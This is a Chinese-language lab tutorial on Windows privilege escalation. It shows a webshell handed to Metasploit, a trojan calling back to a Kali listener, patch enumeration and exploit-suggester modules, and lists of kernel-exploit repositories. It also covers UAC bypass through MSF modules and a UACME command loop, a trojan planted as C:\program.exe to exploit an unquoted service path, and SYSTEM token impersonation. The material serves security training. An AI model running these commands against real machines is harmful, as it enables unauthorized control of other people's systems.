Windows提权

权限提升

Windows提权

权限分类

在Windows系统中,权限大概分为四中,分别是:

  • User:普通用户权限

  • Administrator:管理员权限,可以利用Windows机制提升为System权限

  • System:系统权限

  • TrustedInstaller:Windows中最高权限。有些文件,连System权限也无法修改,只能TrustedInstaller权限修改。TrustedInstaller为Windows系统中众多系统内置安全主体中的一个,本身是系统重要服务,用户无法直接在此服务的上下文中运行程序或另一个服务。它是操作系统上用来对系统进行维护、更新等操作的组。在Windows XP及以前,System账户与管理员组对系统文件都有着完全访问的权限。 这意味着以管理员身份运行的程序可以任意更改系统,降低了系统安全性。TrustedInstaller则改变了这一情况,使得只有拥有TrustedInstaller令牌的系统进程才能更改系统重要内容,而其他大部分系统服务就没有权限

我们windows下的提权目的是把user/administrator权限提升到system权限

提权也是基于漏洞来提权的

windows内核溢出提权漏洞

本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限

收集相应的补丁信息,通过工具查找打了对应的补丁,还能够使用什么漏洞进行提权

重点:我们要去什么地方找到提权的exp

实际情况下,目标的环境都是不一样的

这里用哥斯拉拿到webshell权限

image-20240822171319405

当前权限为webshell

image-20240822171406596

好 哥斯拉上面那个PMeterprater就是它的后渗透模块

我们通过这个模块转交给MSF

image-20240822171602481

按照他给的命令输就行(MSF上输)

image-20240822171831993

哥斯拉上面配置一下kali ip

image-20240822172035753

先load后go

image-20240822172133826

上线

转给CS就再通过MSF转CS就行

现在我们通过MSF生成木马 再上传

MSF先开监听

image-20240822172713174

注意要重设payload和lport

再上传木马

image-20240822172826618

运行木马

上线

image-20240822172935122

看下权限

image-20240822173056048

已经从webshell权限变成普通用户权限

并且可以执行getsystem了

image-20240822173339168

提权成功

因为我这台靶机是在域的管理员组里所以可以用getsystem提权

image-20240822173739907

好现在我们把靶机改到普通用户组

image-20240822174059798

此时我们在执行木马并监听是能上线的 但是getsystem无法执行成功

image-20240822174210121

现在我们来提权

首先 我们先收集系统的补丁信息

shell

systeminfo

image-20240822174402711

image-20240822174434597

这条命令也可以看到补丁信息

Wmic qfe get Caption,Description,HotFixID,InstalledOn

image-20240822174606749

还有这个工具

wesng

这个工具可以基于补丁信息 来看下有什么漏洞可以提权(会生成excl表格)

先在工具的目录下新建一个1.txt里面存放systeminfo出的数据

image-20240822180106962

image-20240825000415832

然后cmd

更新一下数据库

python wes.py --update

然后输出

python wes.py 1.txt -o tese.csv

image-20240822180334769

成功

image-20240822180521964

还有

补丁查询网站

image-20240822181013257

msf上也有补丁查询模块

use post/windows/gather/enum_patches

只需要设置session

image-20240822181401084

image-20240822181442154

再用

use post/multi/recon/local_exploit_suggester

image-20240822181622442

同样只需要设置session

image-20240822181802530

绿色的效果好点

然后就是用MSF利用相关漏洞了

这里就随便用一个

image-20240822182131541

同样只需要配session

run

成功

image-20240822182221546

看到已经是system权限了

但是注意 这个system权限仅在会话中是system权限 靶机还是普通用户权限(临时提权)

提权exp

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/lyshark/Windows-exploits

https://github.com/klsfct/getshell

https://github.com/ianxtianxt/win-exp-

https://github.com/uknowsec/SweetPotato

这里有除了MSF的利用脚本

UAC提权绕过

UAC(User Account Control,用户账号控制) 是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

也就是这个

image-20240822185612032

我们可以在win+R中用msconfig查看开启情况

image-20240822185750972

image-20240822185830248

现在是默认

这种情况我们的提权是不能成功的

而UAC提权就用于

  • 该电脑位于管理员组
  • 该电脑开启了UAC

现在我以一台win7当靶机

bypassuac模块

使用msf中的这个模块可以绕过

use exploit/windows/local/bypassuac

这里可以点两下tap

image-20240822190742393

这里我们自己选择模块 都可以用

这里我们先用默认的

use exploit/windows/local/bypassuac

image-20240822191725852

同样只需要配置sessions

上线

image-20240822191810043

image-20240822192335382

可以看到 虽然还是普通用户权限 但是已经绕过uac了 getsystem成功

runas模块

要求也是知道管理员密码或者在管理员组里

use exploit/windows/local/ask

image-20240822193051048

此时 目标主机会有弹窗

image-20240822193241505

点是 则提权成功

否则提权失败

否:

image-20240822193440165

是:

image-20240822193512879

上线

成功绕过uac

image-20240822193541781

UACME

集成了70+uac提权方式

uacme

使用方法:程序名+编号+想要执行的程序

image-20240825000502735

没有出弹窗表示不能用

可以用一个for循环来执行

for /L %I in (1,1,76) Do @Akagi64.exe %I C:\windows\system32\cmd.exe

image-20240822235054854

成功执行到管理员的cmd

如果执行的是木马

那就是以管理员身份执行

我们先进入一个低权限的会话

shell

cd到木马的地址

image-20240822235531935

现在我们可以执行uacme的命令了

for /L %I in (1,1,76) Do @Akagi64.exe %I xiaoming.exe

注意 我们现在是普通用户的会话,而这个程序会以管理员来执行,所以我们要新建一个监听器来监听这个会话

image-20240823000458239

0.0.0.0好像有点报错

换成kali ip

image-20240823000826587

上线

image-20240823000849474

提权成功

系统服务提权

利用可信任的服务路径提权

在windows中有一个文件路径解析特性:

当一个路径中存在空格 那么系统会认为后面的是参数

c:\program files

这样系统在运行这项服务时会调用可执行程序来进行运行

但是如果有双引号包裹,系统就会知道这是一个完整的路径

我们在这里可以看到服务的执行路径

任务管理器–>服务–>开启服务

image-20240823003222403

image-20240823003259176

例如某服务的启动路径为

“C:\Program Files\Sub Dir\Service.exe”

当该服务重启时,对于该路径中每一个空格,windows都会尝试寻找同名的二进制文件,并进行启动,对于上面的路径,windows就会依次尝试启动

C:\Program.exe

C:\Program Files\Sub.exe

C:\Program Files\Sub Dir\Service.exe

此时如果我们能够找到目标服务 一个没有双引号包裹,并且路径带有空格的应用程序

我们就可以把我们的木马进行伪造

比如:

这是一个目标服务:

C:\program files\system32\svchost.exe -k AxInstSVGroup

我们就可以伪造我们的木马为:
program.exe放到C盘下

当这个服务启动时 就会调用到我们的木马程序

并且能调用服务的都是system权限 相当于system权限运行到了木马

我们可以通过这个命令来查目标服务:
wmic service where "startmode='Auto' and not pathname like 'C:\\Windows\\%'" get Name, DisplayName, PathName, StartMode

cmd查

image-20240823003817089

这条命令也可以查:

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """

找到目标服务路径

C:\Program Files\ChromeCore\ChromeCoreSvr.exe

image-20240823004016443

所以

我们直接伪装木马为:

program.exe

并放在C盘下

这样他在启动这个服务时就会发现我们的木马而把后面的Files\ChromeCore\ChromeCoreSvr.exe当成参数

同样木马时MSF生成的

MSF开监听

我们直接重启电脑

服务在每次重启或者暂停后都会重新开启这个服务

警告了

image-20240823004642329

这里也可手动重启:
image-20240823004542531

我们手动重启一下

上线

image-20240823004609488

并且权限为system

访问令牌操纵提权

Windows中的访问令牌分为主令牌和模拟令牌,主令牌与进程相关联,每个进程都有一个主令牌。通过操纵访问令牌来使某个进程正在运行的进程像是其他用户启动进程的子进程,从而达到提权的效果,称为令牌窃取。由于需要调用windows上的特殊API,因此通常用于将管理员用户剃刀SYSTEM等更高级的用户

msf可以窃取

需要用到这个模块–>incognito

use incognito

然后列出所有令牌

list_tokens -u

image-20240823005732073

这里没有令牌

我们现在需要管理员的令牌

所以要以管理员身份运行木马

image-20240823005949701

有了

模拟一下令牌:

impersonate_token "NT AUTHORITY\SYSTEM"

image-20240823010049430

现在是system权限了